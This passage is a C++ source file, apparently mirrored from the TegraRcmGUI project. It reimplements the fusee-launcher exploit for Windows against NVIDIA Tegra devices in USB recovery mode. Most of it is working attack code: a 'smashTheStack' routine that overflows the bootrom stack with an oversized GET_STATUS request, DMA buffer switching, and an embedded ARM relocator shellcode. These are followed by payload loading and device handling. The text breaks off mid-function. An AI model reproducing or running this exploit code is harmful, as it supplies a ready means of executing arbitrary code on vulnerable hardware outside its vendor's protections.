mirror of
https://github.com/eliboa/TegraRcmGUI.git
synced 2024-11-10 12:41:44 +00:00
1144 lines
No EOL
35 KiB
C++
1144 lines
No EOL
35 KiB
C++
/*
|
|
* TegraRcmShash.cpp (by rajkosto)
|
|
* A reimplementation of fusee-launcher by ktemkin in C++ for Windows platforms.
|
|
* https://github.com/rajkosto/TegraRcmSmash
|
|
*/
|
|
|
|
#include "stdafx.h"
|
|
#include "TegraRcmSmash.h"
|
|
|
|
class RCMDeviceHacker
|
|
{
|
|
public:
|
|
RCMDeviceHacker(KUSB_DRIVER_API& usbDriver_, KUSB_HANDLE usbHandle_) : usbHandle(usbHandle_), usbDriver(&usbDriver_), totalWritten(0), currentBuffer(0) {}
|
|
~RCMDeviceHacker()
|
|
{
|
|
if (usbHandle != nullptr)
|
|
{
|
|
usbDriver->Free(usbHandle);
|
|
usbHandle = nullptr;
|
|
}
|
|
}
|
|
|
|
static constexpr u32 PACKET_SIZE = 0x1000;
|
|
|
|
int getDriverVersion(libusbk::version_t& outVersion)
|
|
{
|
|
HANDLE masterHandle = INVALID_HANDLE_VALUE;
|
|
if (!libusbk_getInternals(usbHandle, &masterHandle) || masterHandle == nullptr || masterHandle == INVALID_HANDLE_VALUE)
|
|
return -int(ERROR_INVALID_HANDLE);
|
|
|
|
libusbk::libusb_request myRequest;
|
|
memset(&myRequest, 0, sizeof(myRequest));
|
|
|
|
const auto retVal = BlockingIoctl(masterHandle, libusbk::LIBUSB_IOCTL_GET_VERSION, &myRequest, sizeof(myRequest), &myRequest, sizeof(myRequest));
|
|
if (retVal > 0)
|
|
outVersion = myRequest.version;
|
|
|
|
return retVal;
|
|
}
|
|
int read(u8* outBuf, size_t outBufSize)
|
|
{
|
|
UINT lengthTransferred = 0;
|
|
const auto retVal = usbDriver->ReadPipe(usbHandle, 0x81, outBuf, (UINT)outBufSize, &lengthTransferred, nullptr);
|
|
if (retVal == FALSE)
|
|
return -int(GetLastError());
|
|
else
|
|
return int(lengthTransferred);
|
|
}
|
|
int write(const u8* data, size_t dataLen, size_t packetSize = PACKET_SIZE)
|
|
{
|
|
int bytesRemaining = (int)dataLen;
|
|
size_t bytesWritten = 0;
|
|
while (bytesRemaining > 0)
|
|
{
|
|
const size_t bytesToWrite = (bytesRemaining < (int)packetSize) ? bytesRemaining : (int)packetSize;
|
|
const auto retVal = writeSingleBuffer(&data[bytesWritten], bytesToWrite);
|
|
if (retVal < 0)
|
|
return retVal;
|
|
else if (retVal < (int)bytesToWrite)
|
|
return int(bytesWritten) + retVal;
|
|
|
|
bytesWritten += retVal;
|
|
bytesRemaining -= retVal;
|
|
}
|
|
|
|
return (int)bytesWritten;
|
|
}
|
|
int readDeviceId(u8* deviceIdBuf, size_t idBufSize)
|
|
{
|
|
if (idBufSize < 0x10)
|
|
return -int(ERROR_INSUFFICIENT_BUFFER);
|
|
|
|
return read(deviceIdBuf, 0x10);
|
|
}
|
|
int switchToHighBuffer()
|
|
{
|
|
if (currentBuffer == 0)
|
|
{
|
|
u8 tempZeroDatas[PACKET_SIZE];
|
|
memset(tempZeroDatas, 0, sizeof(tempZeroDatas));
|
|
|
|
const auto writeRes = write(tempZeroDatas, sizeof(tempZeroDatas));
|
|
if (writeRes < 0)
|
|
return writeRes;
|
|
|
|
assert(currentBuffer != 0);
|
|
return writeRes;
|
|
}
|
|
else
|
|
return 0;
|
|
}
|
|
int smashTheStack(int length = -1)
|
|
{
|
|
constexpr u32 STACK_END = 0x40010000;
|
|
|
|
if (length < 0)
|
|
length = STACK_END - getCurrentBufferAddress();
|
|
|
|
if (length < 1)
|
|
return 0;
|
|
|
|
HANDLE masterHandle = INVALID_HANDLE_VALUE;
|
|
if (!libusbk_getInternals(usbHandle, &masterHandle) || masterHandle == nullptr || masterHandle == INVALID_HANDLE_VALUE)
|
|
return -int(ERROR_INVALID_HANDLE);
|
|
|
|
libusbk::libusb_request rawRequest;
|
|
memset(&rawRequest, 0, sizeof(rawRequest));
|
|
rawRequest.timeout = 1000; //ms
|
|
rawRequest.status.index = 0;
|
|
rawRequest.status.recipient = 0x02; //RECIPIENT_ENDPOINT
|
|
|
|
ByteVector threshBuf(length, 0);
|
|
const auto retVal = BlockingIoctl(masterHandle, libusbk::LIBUSB_IOCTL_GET_STATUS, &rawRequest, sizeof(rawRequest), &threshBuf[0], threshBuf.size());
|
|
if (retVal < 0)
|
|
{
|
|
const auto theError = -retVal;
|
|
if (theError == ERROR_SEM_TIMEOUT) //timed out, which means it probably smashed
|
|
return (int)threshBuf.size();
|
|
|
|
return theError;
|
|
}
|
|
else
|
|
return retVal;
|
|
}
|
|
protected:
|
|
u32 getCurrentBufferAddress() const
|
|
{
|
|
return (currentBuffer == 0) ? 0x40005000u : 0x40009000u;
|
|
}
|
|
u32 toggleBuffer()
|
|
{
|
|
const auto prevBuffer = currentBuffer;
|
|
currentBuffer = (currentBuffer == 0) ? 1u : 0u;
|
|
return prevBuffer;
|
|
}
|
|
int writeSingleBuffer(const u8* data, size_t dataLen)
|
|
{
|
|
toggleBuffer();
|
|
|
|
UINT lengthTransferred = 0;
|
|
const auto retVal = usbDriver->WritePipe(usbHandle, 0x01, (u8*)data, (UINT)dataLen, &lengthTransferred, nullptr);
|
|
if (retVal == FALSE)
|
|
return -int(GetLastError());
|
|
else
|
|
return (int)lengthTransferred;
|
|
}
|
|
|
|
static int BlockingIoctl(HANDLE driverHandle, DWORD ioctlCode, const void* inputBytes, size_t numInputBytes, void* outputBytes, size_t numOutputBytes)
|
|
{
|
|
WinHandle theEvent = CreateEvent(nullptr, TRUE, FALSE, nullptr);
|
|
if (theEvent.get() == nullptr || theEvent.get() == INVALID_HANDLE_VALUE)
|
|
return false;
|
|
|
|
OVERLAPPED overlapped;
|
|
memset(&overlapped, 0, sizeof(overlapped));
|
|
if (DeviceIoControl(driverHandle, ioctlCode, (LPVOID)inputBytes, (DWORD)numInputBytes, (LPVOID)outputBytes, (DWORD)numOutputBytes, nullptr, &overlapped) == FALSE)
|
|
{
|
|
const auto errCode = GetLastError();
|
|
if (errCode != ERROR_IO_PENDING)
|
|
return -int(errCode);
|
|
}
|
|
|
|
DWORD bytesReceived = 0;
|
|
if (GetOverlappedResult(driverHandle, &overlapped, &bytesReceived, TRUE) == FALSE)
|
|
{
|
|
const auto errCode = GetLastError();
|
|
return -int(errCode);
|
|
}
|
|
|
|
return (int)bytesReceived;
|
|
}
|
|
|
|
KUSB_HANDLE usbHandle;
|
|
KUSB_DRIVER_API* usbDriver;
|
|
size_t totalWritten;
|
|
u32 currentBuffer;
|
|
};
|
|
|
|
|
|
static KLST_DEVINFO pluggedInDevice;
|
|
static WinHandle gotDeviceEvent;
|
|
|
|
static u32 deviceVid = 0x0955;
|
|
static u32 devicePid = 0x7321;
|
|
static void KUSB_API HotPlugEventCallback(KHOT_HANDLE Handle, KLST_DEVINFO_HANDLE DeviceInfo, KLST_SYNC_FLAG NotificationType)
|
|
{
|
|
if (NotificationType == KLST_SYNC_FLAG_ADDED && DeviceInfo != nullptr &&
|
|
DeviceInfo->Common.Vid == deviceVid && DeviceInfo->Common.Pid == devicePid)
|
|
{
|
|
memcpy(&pluggedInDevice, DeviceInfo, sizeof(pluggedInDevice));
|
|
SetEvent(gotDeviceEvent.get());
|
|
}
|
|
}
|
|
|
|
static WinHandle finishedUpEvent;
|
|
static BOOL WINAPI ConsoleSignalHandler(DWORD signal)
|
|
{
|
|
switch (signal)
|
|
{
|
|
case CTRL_CLOSE_EVENT:
|
|
case CTRL_LOGOFF_EVENT:
|
|
case CTRL_SHUTDOWN_EVENT:
|
|
case CTRL_C_EVENT:
|
|
memset(&pluggedInDevice, 0, sizeof(pluggedInDevice));
|
|
SetEvent(gotDeviceEvent.get());
|
|
if (WaitForSingleObject(finishedUpEvent.get(), 1000) == WAIT_OBJECT_0)
|
|
finishedUpEvent = WinHandle();
|
|
else
|
|
_ftprintf(stderr, TEXT("Timed out waiting for cleanup, forcibly closing\n"));
|
|
default:
|
|
break;
|
|
}
|
|
|
|
return TRUE;
|
|
}
|
|
|
|
|
|
TegraRcmSmash::TegraRcmSmash()
|
|
{
|
|
}
|
|
|
|
|
|
TegraRcmSmash::~TegraRcmSmash()
|
|
{
|
|
}
|
|
|
|
|
|
int TegraRcmSmash::RcmStatus()
|
|
{
|
|
KLST_DEVINFO_HANDLE deviceInfo = nullptr;
|
|
|
|
KLST_HANDLE deviceList = nullptr;
|
|
if (!LstK_Init(&deviceList, KLST_FLAG_NONE))
|
|
{
|
|
const auto errorCode = GetLastError();
|
|
// Win32 error trying to list USB devices
|
|
return -6;
|
|
}
|
|
auto lstKgrd = MakeScopeGuard([&deviceList]()
|
|
{
|
|
if (deviceList != nullptr)
|
|
{
|
|
LstK_Free(deviceList);
|
|
deviceList = nullptr;
|
|
}
|
|
});
|
|
|
|
// Get the number of devices contained in the device list.
|
|
UINT deviceCount = 0;
|
|
LstK_Count(deviceList, &deviceCount);
|
|
|
|
if (deviceCount == 0 || LstK_FindByVidPid(deviceList, deviceVid, devicePid, &deviceInfo) == FALSE)
|
|
{
|
|
// No device found in RCM Mode
|
|
return -5;
|
|
}
|
|
|
|
if (deviceInfo != nullptr)
|
|
{
|
|
if (deviceInfo->DriverID != KUSB_DRVID_LIBUSBK)
|
|
{
|
|
/*
|
|
Wrong driver => need to install libusbK driver
|
|
*/
|
|
return -4;
|
|
}
|
|
|
|
KUSB_DRIVER_API Usb;
|
|
LibK_LoadDriverAPI(&Usb, deviceInfo->DriverID);
|
|
|
|
// Initialize the device
|
|
KUSB_HANDLE handle = nullptr;
|
|
if (!Usb.Init(&handle, deviceInfo))
|
|
{
|
|
const auto errorCode = GetLastError();
|
|
// Failed to handle device
|
|
return -3;
|
|
}
|
|
|
|
RCMDeviceHacker rcmDev(Usb, handle); handle = nullptr;
|
|
|
|
libusbk::version_t usbkVersion;
|
|
memset(&usbkVersion, 0, sizeof(usbkVersion));
|
|
const auto versRetVal = rcmDev.getDriverVersion(usbkVersion);
|
|
if (versRetVal <= 0)
|
|
{
|
|
// Failed to get USB driver version
|
|
return -2;
|
|
}
|
|
else if (usbkVersion.major != 3 || usbkVersion.minor != 0 || usbkVersion.micro != 7)
|
|
{
|
|
|
|
// Wrong USB driver version
|
|
return -1;
|
|
}
|
|
}
|
|
|
|
return 0;
|
|
|
|
}
|
|
|
|
int TegraRcmSmash::SmashMain(int argc, TCHAR* argv[])
|
|
{
|
|
#ifdef UNICODE
|
|
fflush(stdout);
|
|
_setmode(_fileno(stdout), _O_WTEXT);
|
|
fflush(stderr);
|
|
_setmode(_fileno(stderr), _O_WTEXT);
|
|
#endif
|
|
const TCHAR DEFAULT_MEZZO_FILENAME[] = TEXT("intermezzo.bin");
|
|
const TCHAR* mezzoFilename = DEFAULT_MEZZO_FILENAME;
|
|
const TCHAR* inputFilename = nullptr;
|
|
bool waitForDevice = false;
|
|
struct AdditionalDataItem
|
|
{
|
|
const TCHAR* filename = nullptr;
|
|
u32 address = 0;
|
|
u16 strTerm = 0;
|
|
bool reloaded = false;
|
|
ByteVector dataBytes;
|
|
|
|
bool isBOOT() const { return memcmp(&address, "BOOT", strlen("BOOT") + 1) == 0; }
|
|
void setBOOT() { memcpy(&address, "BOOT", strlen("BOOT")); strTerm = 0; }
|
|
|
|
bool isAddr() const { return strTerm != 0; }
|
|
void setAddr(u32 newAddr) { address = newAddr; strTerm = 1; }
|
|
void setSect(const char* sectName) { memset(&address, 0, sizeof(address)); memcpy(&address, sectName, strlen(sectName)); strTerm = 0; }
|
|
const char* getSect() const { return (const char*)&address; }
|
|
};
|
|
vector<AdditionalDataItem> moreData;
|
|
|
|
auto PrintUsage = []() -> int
|
|
{
|
|
//_tprintf(TEXT("Usage: TegraRcmSmash.exe [-V 0x0955] [-P 0x7321] [--relocator=intermezzo.bin] [-w] inputFilename.bin ([PARAM:VALUE]|[0xADDR:filename])*\n"));
|
|
return -1;
|
|
};
|
|
|
|
const TCHAR HEXA_PREFIX[] = TEXT("0x");
|
|
for (int i = 1; i<argc; i++)
|
|
{
|
|
TCHAR* currArg = argv[i];
|
|
|
|
const TCHAR RELOCATOR_ARGUMENT[] = TEXT("--relocator");
|
|
const TCHAR VENDOR_ARGUMENT[] = TEXT("-V");
|
|
const TCHAR PRODUCT_ARGUMENT[] = TEXT("-P");
|
|
const TCHAR WAIT_ARGUMENT[] = TEXT("-w");
|
|
|
|
if (_tcsnicmp(currArg, RELOCATOR_ARGUMENT, array_countof(RELOCATOR_ARGUMENT) - 1) == 0)
|
|
{
|
|
if (currArg[array_countof(RELOCATOR_ARGUMENT) - 1] == '=')
|
|
mezzoFilename = &currArg[array_countof(RELOCATOR_ARGUMENT)];
|
|
else if (currArg[array_countof(RELOCATOR_ARGUMENT) - 1] == 0)
|
|
{
|
|
if (i == argc - 1)
|
|
return PrintUsage();
|
|
|
|
mezzoFilename = argv[++i];
|
|
}
|
|
else
|
|
return PrintUsage();
|
|
}
|
|
else if (_tcsnicmp(currArg, VENDOR_ARGUMENT, array_countof(VENDOR_ARGUMENT) - 1) == 0 ||
|
|
_tcsnicmp(currArg, PRODUCT_ARGUMENT, array_countof(PRODUCT_ARGUMENT) - 1) == 0)
|
|
{
|
|
const TCHAR* matchedStr = nullptr;
|
|
size_t matchedLen = 0;
|
|
|
|
if (_tcsnicmp(currArg, VENDOR_ARGUMENT, array_countof(VENDOR_ARGUMENT) - 1) == 0)
|
|
{
|
|
matchedStr = VENDOR_ARGUMENT;
|
|
matchedLen = array_countof(VENDOR_ARGUMENT) - 1;
|
|
}
|
|
else if (_tcsnicmp(currArg, PRODUCT_ARGUMENT, array_countof(PRODUCT_ARGUMENT) - 1) == 0)
|
|
{
|
|
matchedStr = PRODUCT_ARGUMENT;
|
|
matchedLen = array_countof(PRODUCT_ARGUMENT) - 1;
|
|
}
|
|
|
|
const TCHAR* numberValueStr = nullptr;
|
|
if (currArg[matchedLen] == '=')
|
|
numberValueStr = &currArg[matchedLen + 1];
|
|
else if (currArg[matchedLen] == 0)
|
|
{
|
|
if (i == argc - 1)
|
|
return PrintUsage();
|
|
|
|
numberValueStr = argv[++i];
|
|
}
|
|
else
|
|
return PrintUsage();
|
|
|
|
if (_tcslen(numberValueStr) >= array_countof(HEXA_PREFIX) &&
|
|
_tcsnicmp(numberValueStr, HEXA_PREFIX, array_countof(HEXA_PREFIX) - 1) == 0)
|
|
numberValueStr += array_countof(HEXA_PREFIX) - 1;
|
|
|
|
if (matchedStr == VENDOR_ARGUMENT)
|
|
deviceVid = _tcstoul(numberValueStr, nullptr, 0x10);
|
|
else if (matchedStr == PRODUCT_ARGUMENT)
|
|
devicePid = _tcstoul(numberValueStr, nullptr, 0x10);
|
|
else
|
|
return PrintUsage();
|
|
}
|
|
else if (_tcsnicmp(currArg, WAIT_ARGUMENT, array_countof(WAIT_ARGUMENT)) == 0)
|
|
{
|
|
waitForDevice = true;
|
|
}
|
|
else if (currArg[0] == '-') //unknown option
|
|
{
|
|
//_ftprintf(stderr, TEXT("Unknown option %Ts\n"), currArg);
|
|
return PrintUsage();
|
|
}
|
|
else //payload/data filename
|
|
{
|
|
if (inputFilename == nullptr)
|
|
inputFilename = currArg;
|
|
else
|
|
{
|
|
auto colonPos = _tcschr(currArg, '+');
|
|
if (colonPos == nullptr)
|
|
{
|
|
//_ftprintf(stderr, TEXT("No colon separator in additional data argument '%Ts'\n"), currArg);
|
|
return PrintUsage();
|
|
}
|
|
|
|
*colonPos = 0;
|
|
const size_t leftPartLen = colonPos - currArg;
|
|
const TCHAR* leftPart = currArg;
|
|
const TCHAR* rightPart = colonPos + 1;
|
|
|
|
AdditionalDataItem newItem;
|
|
newItem.filename = rightPart;
|
|
if (leftPartLen >= array_countof(HEXA_PREFIX) &&
|
|
_tcsnicmp(leftPart, HEXA_PREFIX, array_countof(HEXA_PREFIX) - 1) == 0)
|
|
{
|
|
leftPart += array_countof(HEXA_PREFIX) - 1;
|
|
|
|
wchar_t* endPos = nullptr;
|
|
newItem.setAddr(_tcstoul(leftPart, &endPos, 0x10));
|
|
if (endPos == nullptr || endPos == leftPart)
|
|
{
|
|
//_ftprintf(stderr, TEXT("Invalid load address '%Ts' in additional data argument '%Ts'\n"), leftPart, currArg);
|
|
return -1;
|
|
}
|
|
|
|
auto it = std::find_if(moreData.cbegin(), moreData.cend(), [&newItem](const AdditionalDataItem& itm) {
|
|
return (itm.isAddr() == newItem.isAddr()) && (itm.address == newItem.address);
|
|
});
|
|
|
|
if (it != moreData.cbegin())
|
|
{
|
|
//_ftprintf(stderr, TEXT("Load address 0x%08x already defined with filename '%Ts'\n"), it->address, it->filename);
|
|
return -1;
|
|
}
|
|
|
|
moreData.emplace_back(std::move(newItem));
|
|
}
|
|
else if (leftPartLen <= sizeof(newItem.address))
|
|
{
|
|
std::string convAscii; convAscii.reserve(_tcslen(leftPart));
|
|
for (size_t strPos = 0; strPos<leftPartLen; strPos++)
|
|
convAscii.push_back((char)leftPart[strPos]);
|
|
|
|
newItem.setSect(convAscii.c_str());
|
|
|
|
auto it = std::find_if(moreData.cbegin(), moreData.cend(), [&newItem](const AdditionalDataItem& itm) {
|
|
return (itm.isAddr() == newItem.isAddr()) && (itm.address == newItem.address);
|
|
});
|
|
|
|
if (it != moreData.cbegin())
|
|
{
|
|
//_ftprintf(stderr, TEXT("Load parameter %hs already defined with value '%Ts'\n"), it->getSect(), it->filename);
|
|
return -1;
|
|
}
|
|
|
|
moreData.emplace_back(std::move(newItem));
|
|
}
|
|
else
|
|
{
|
|
//_ftprintf(stderr, TEXT("Invalid param name '%Ts' in additional data argument '%Ts'\n"), leftPart, currArg);
|
|
return -1;
|
|
}
|
|
}
|
|
}
|
|
}
|
|
|
|
//print program name and version
|
|
{
|
|
TCHAR stringBuf[2048];
|
|
stringBuf[0] = 0;
|
|
const auto numChars = GetModuleFileName(NULL, stringBuf, (DWORD)array_countof(stringBuf) - 1);
|
|
stringBuf[numChars] = 0;
|
|
|
|
const TCHAR* versionInfoStr = TEXT("[UNKNOWN VERSION]");
|
|
if (GetFileVersionInfo(stringBuf, 0, sizeof(stringBuf), stringBuf))
|
|
{
|
|
VS_FIXEDFILEINFO* fileInfo = nullptr;
|
|
unsigned int infoLen = 0;
|
|
if (VerQueryValue(stringBuf, TEXT("\\"), (LPVOID*)&fileInfo, &infoLen) && fileInfo != nullptr && infoLen > 0)
|
|
{
|
|
const u32 outMajor = HIWORD(fileInfo->dwFileVersionMS);
|
|
const u32 outMinor = LOWORD(fileInfo->dwFileVersionMS);
|
|
const u32 outRev = HIWORD(fileInfo->dwFileVersionLS);
|
|
const u32 outBld = LOWORD(fileInfo->dwFileVersionLS);
|
|
|
|
//_stprintf_s(stringBuf, TEXT("%u.%u.%u-%u"), outMajor, outMinor, outRev, outBld);
|
|
versionInfoStr = stringBuf;
|
|
}
|
|
}
|
|
|
|
const TCHAR* bitnessStr = nullptr;
|
|
#if !_WIN64
|
|
bitnessStr = TEXT("32bit");
|
|
#else
|
|
bitnessStr = TEXT("64bit");
|
|
#endif
|
|
//_tprintf(TEXT("TegraRcmSmash (%Ts) %Ts by rajkosto\n"), bitnessStr, versionInfoStr);
|
|
}
|
|
|
|
//check all arguments
|
|
if (deviceVid == 0 || deviceVid >= 0xFFFF)
|
|
{
|
|
_ftprintf(stderr, TEXT("Invalid USB VID specified\n"));
|
|
return PrintUsage();
|
|
}
|
|
if (devicePid == 0 || devicePid >= 0xFFFF)
|
|
{
|
|
_ftprintf(stderr, TEXT("Invalid USB PID specified\n"));
|
|
return PrintUsage();
|
|
}
|
|
if (inputFilename == nullptr || _tcslen(inputFilename) == 0)
|
|
{
|
|
_ftprintf(stderr, TEXT("Please specify input filename\n"));
|
|
return PrintUsage();
|
|
}
|
|
|
|
std::sort(moreData.begin(), moreData.end(), [](const AdditionalDataItem& left, const AdditionalDataItem& right) {
|
|
if (left.isBOOT() != right.isBOOT()) //boot goes last
|
|
{
|
|
if (left.isBOOT())
|
|
return false;
|
|
if (right.isBOOT())
|
|
return true;
|
|
}
|
|
|
|
if (left.isAddr() != right.isAddr()) //named go first
|
|
{
|
|
if (left.isAddr())
|
|
return false;
|
|
if (right.isAddr())
|
|
return true;
|
|
}
|
|
|
|
if (left.isAddr())
|
|
return left.address < right.address;
|
|
else
|
|
return (strcmp(left.getSect(), right.getSect()) < 0);
|
|
});
|
|
|
|
auto ReadFileToBuf = [](ByteVector& outBuf, const TCHAR* fileType, const TCHAR* inputFilename, bool silent) -> int
|
|
{
|
|
std::ifstream inputFile(inputFilename, std::ios::binary);
|
|
if (!inputFile.is_open())
|
|
{
|
|
if (!silent)
|
|
_ftprintf(stderr, TEXT("Couldn't open %Ts file '%Ts' for reading\n"), fileType, inputFilename);
|
|
|
|
return -2;
|
|
}
|
|
|
|
inputFile.seekg(0, std::ios::end);
|
|
const auto inputSize = inputFile.tellg();
|
|
inputFile.seekg(0, std::ios::beg);
|
|
|
|
outBuf.resize((size_t)inputSize);
|
|
if (outBuf.size() > 0)
|
|
{
|
|
inputFile.read((char*)&outBuf[0], outBuf.size());
|
|
const auto bytesRead = inputFile.gcount();
|
|
if (bytesRead < inputSize)
|
|
{
|
|
_ftprintf(stderr, TEXT("Error reading %Ts file '%Ts' (only %llu out of %llu bytes read)\n"), fileType, inputFilename, (u64)bytesRead, (u64)inputSize);
|
|
return -2;
|
|
}
|
|
}
|
|
|
|
return 0;
|
|
};
|
|
|
|
//populate address for BOOT if necessary, otherwise load file contents
|
|
for (size_t i = 0; i<moreData.size(); i++)
|
|
{
|
|
auto& currData = moreData[i];
|
|
if (currData.isBOOT())
|
|
{
|
|
if (_tcslen(currData.filename) >= array_countof(HEXA_PREFIX) &&
|
|
_tcsnicmp(currData.filename, HEXA_PREFIX, array_countof(HEXA_PREFIX) - 1) == 0)
|
|
{
|
|
auto addressStr = currData.filename + array_countof(HEXA_PREFIX) - 1;
|
|
|
|
wchar_t* endPos = nullptr;
|
|
currData.setAddr(_tcstoul(addressStr, &endPos, 0x10));
|
|
if (endPos == nullptr || endPos == addressStr)
|
|
{
|
|
_ftprintf(stderr, TEXT("Invalid parameter address '%Ts' for setting '%hs'\n"), addressStr, currData.getSect());
|
|
return -1;
|
|
}
|
|
}
|
|
else
|
|
{
|
|
bool foundAddress = false;
|
|
for (size_t j = 0; j<moreData.size(); j++)
|
|
{
|
|
if (j == i)
|
|
continue;
|
|
|
|
const auto& otherData = moreData[j];
|
|
if (otherData.isAddr() && _tcsicmp(currData.filename, otherData.filename) == 0)
|
|
{
|
|
currData.setAddr(otherData.address);
|
|
foundAddress = true;
|
|
break;
|
|
}
|
|
}
|
|
|
|
if (!foundAddress)
|
|
{
|
|
_ftprintf(stderr, TEXT("No load address defined for filename '%Ts' (required for setting '%hs')\n"), currData.filename, currData.getSect());
|
|
return -1;
|
|
}
|
|
}
|
|
}
|
|
else
|
|
{
|
|
auto readFileRes = ReadFileToBuf(currData.dataBytes, TEXT("data"), currData.filename, false);
|
|
if (readFileRes != 0)
|
|
return readFileRes;
|
|
}
|
|
}
|
|
|
|
//intentional ptr comparison, if user supplied their own filename always read it
|
|
auto usingBuiltinMezzo = (mezzoFilename == DEFAULT_MEZZO_FILENAME);
|
|
bool usingNoMezzo = false;
|
|
if (mezzoFilename == nullptr || _tcslen(mezzoFilename) == 0)
|
|
{
|
|
usingBuiltinMezzo = true;
|
|
usingNoMezzo = true;
|
|
}
|
|
|
|
ByteVector mezzoBuf;
|
|
if (!usingNoMezzo)
|
|
{
|
|
auto readFileRes = ReadFileToBuf(mezzoBuf, TEXT("relocator"), mezzoFilename, usingBuiltinMezzo);
|
|
if (readFileRes != 0)
|
|
{
|
|
if (usingBuiltinMezzo)
|
|
{
|
|
const byte BUILTIN_INTERMEZZO[] =
|
|
{
|
|
0x44, 0x00, 0x9F, 0xE5, 0x01, 0x11, 0xA0, 0xE3, 0x40, 0x20, 0x9F, 0xE5, 0x00, 0x20, 0x42, 0xE0,
|
|
0x08, 0x00, 0x00, 0xEB, 0x01, 0x01, 0xA0, 0xE3, 0x10, 0xFF, 0x2F, 0xE1, 0x00, 0x00, 0xA0, 0xE1,
|
|
0x2C, 0x00, 0x9F, 0xE5, 0x2C, 0x10, 0x9F, 0xE5, 0x02, 0x28, 0xA0, 0xE3, 0x01, 0x00, 0x00, 0xEB,
|
|
0x20, 0x00, 0x9F, 0xE5, 0x10, 0xFF, 0x2F, 0xE1, 0x04, 0x30, 0x90, 0xE4, 0x04, 0x30, 0x81, 0xE4,
|
|
0x04, 0x20, 0x52, 0xE2, 0xFB, 0xFF, 0xFF, 0x1A, 0x1E, 0xFF, 0x2F, 0xE1, 0x20, 0xF0, 0x01, 0x40,
|
|
0x5C, 0xF0, 0x01, 0x40, 0x00, 0x00, 0x02, 0x40, 0x00, 0x00, 0x01, 0x40
|
|
};
|
|
|
|
mezzoBuf.resize(sizeof(BUILTIN_INTERMEZZO));
|
|
memcpy(&mezzoBuf[0], BUILTIN_INTERMEZZO, mezzoBuf.size());
|
|
}
|
|
else
|
|
return readFileRes;
|
|
}
|
|
else
|
|
usingBuiltinMezzo = false;
|
|
}
|
|
|
|
ByteVector userFileBuf;
|
|
auto readFileRes = ReadFileToBuf(userFileBuf, TEXT("payload"), inputFilename, false);
|
|
if (readFileRes != 0)
|
|
return readFileRes;
|
|
|
|
KLST_DEVINFO_HANDLE deviceInfo = nullptr;
|
|
|
|
KLST_HANDLE deviceList = nullptr;
|
|
if (!LstK_Init(&deviceList, KLST_FLAG_NONE))
|
|
{
|
|
const auto errorCode = GetLastError();
|
|
_ftprintf(stderr, TEXT("Got win32 error %u trying to list USB devices\n"), errorCode);
|
|
return -3;
|
|
}
|
|
auto lstKgrd = MakeScopeGuard([&deviceList]()
|
|
{
|
|
if (deviceList != nullptr)
|
|
{
|
|
LstK_Free(deviceList);
|
|
deviceList = nullptr;
|
|
}
|
|
});
|
|
|
|
// Get the number of devices contained in the device list.
|
|
UINT deviceCount = 0;
|
|
LstK_Count(deviceList, &deviceCount);
|
|
if (deviceCount == 0 || LstK_FindByVidPid(deviceList, deviceVid, devicePid, &deviceInfo) == FALSE)
|
|
{
|
|
if (!waitForDevice)
|
|
{
|
|
_ftprintf(stderr, TEXT("No TegraRCM devices found and -w option not specified\n"));
|
|
return -3;
|
|
}
|
|
|
|
//_tprintf(TEXT("Wanted device not connected yet, waiting...\n"));
|
|
lstKgrd.run();
|
|
|
|
KHOT_HANDLE hotHandle = nullptr;
|
|
KHOT_PARAMS hotParams;
|
|
|
|
memset(&hotParams, 0, sizeof(hotParams));
|
|
hotParams.OnHotPlug = HotPlugEventCallback;
|
|
hotParams.Flags = KHOT_FLAG_NONE;
|
|
|
|
memset(&pluggedInDevice, 0, sizeof(pluggedInDevice));
|
|
gotDeviceEvent = CreateEvent(nullptr, TRUE, FALSE, nullptr);
|
|
finishedUpEvent = CreateEvent(nullptr, TRUE, FALSE, nullptr);
|
|
sprintf_s(hotParams.PatternMatch.DeviceID, "*VID_%04X&PID_%04X*", deviceVid, devicePid);
|
|
//_tprintf(TEXT("Looking for devices matching the pattern %s\n"),
|
|
// WinString(std::begin(hotParams.PatternMatch.DeviceID), std::end(hotParams.PatternMatch.DeviceID)).c_str());
|
|
|
|
// Initializes a new HotK handle.
|
|
if (!HotK_Init(&hotHandle, &hotParams))
|
|
{
|
|
const auto errorCode = GetLastError();
|
|
_ftprintf(stderr, TEXT("Hotplug listener init failed with win32 error %u\n"), errorCode);
|
|
return -4;
|
|
}
|
|
auto hotKgrd = MakeScopeGuard([&hotHandle]()
|
|
{
|
|
if (hotHandle != nullptr)
|
|
{
|
|
HotK_Free(hotHandle);
|
|
hotHandle = nullptr;
|
|
}
|
|
});
|
|
|
|
if (SetConsoleCtrlHandler(ConsoleSignalHandler, TRUE))
|
|
WaitForSingleObject(gotDeviceEvent.get(), INFINITE);
|
|
|
|
gotDeviceEvent = WinHandle();
|
|
if (pluggedInDevice.Common.Vid == deviceVid && pluggedInDevice.Common.Pid == devicePid && pluggedInDevice.Connected == TRUE) //got the device after waiting
|
|
{
|
|
finishedUpEvent = WinHandle();
|
|
deviceInfo = &pluggedInDevice;
|
|
SetConsoleCtrlHandler(ConsoleSignalHandler, FALSE);
|
|
}
|
|
else
|
|
{
|
|
//_tprintf(TEXT("Exiting due to user cancellation\n"));
|
|
SetEvent(finishedUpEvent.get());
|
|
return -5;
|
|
}
|
|
}
|
|
|
|
if (deviceInfo != nullptr)
|
|
{
|
|
if (deviceInfo->DriverID != KUSB_DRVID_LIBUSBK)
|
|
{
|
|
/*
|
|
_tprintf(TEXT("The selected device path %hs with VID_%04X&PID_%04x isn't using the libusbK driver\n"),
|
|
deviceInfo->DevicePath, deviceInfo->Common.Vid, deviceInfo->Common.Pid);
|
|
_tprintf(TEXT("Please run Zadig and install the libusbK (v3.0.7.0) driver for this device\n"));
|
|
|
|
_ftprintf(stderr,TEXT("Failed to open USB device handle because of wrong driver installed\n"));
|
|
*/
|
|
return -6;
|
|
}
|
|
|
|
KUSB_DRIVER_API Usb;
|
|
LibK_LoadDriverAPI(&Usb, deviceInfo->DriverID);
|
|
|
|
// Initialize the device
|
|
KUSB_HANDLE handle = nullptr;
|
|
if (!Usb.Init(&handle, deviceInfo))
|
|
{
|
|
const auto errorCode = GetLastError();
|
|
_ftprintf(stderr, TEXT("Failed to open USB device handle with win32 error %u\n"), errorCode);
|
|
return -6;
|
|
}
|
|
|
|
RCMDeviceHacker rcmDev(Usb, handle); handle = nullptr;
|
|
|
|
libusbk::version_t usbkVersion;
|
|
memset(&usbkVersion, 0, sizeof(usbkVersion));
|
|
const auto versRetVal = rcmDev.getDriverVersion(usbkVersion);
|
|
if (versRetVal <= 0)
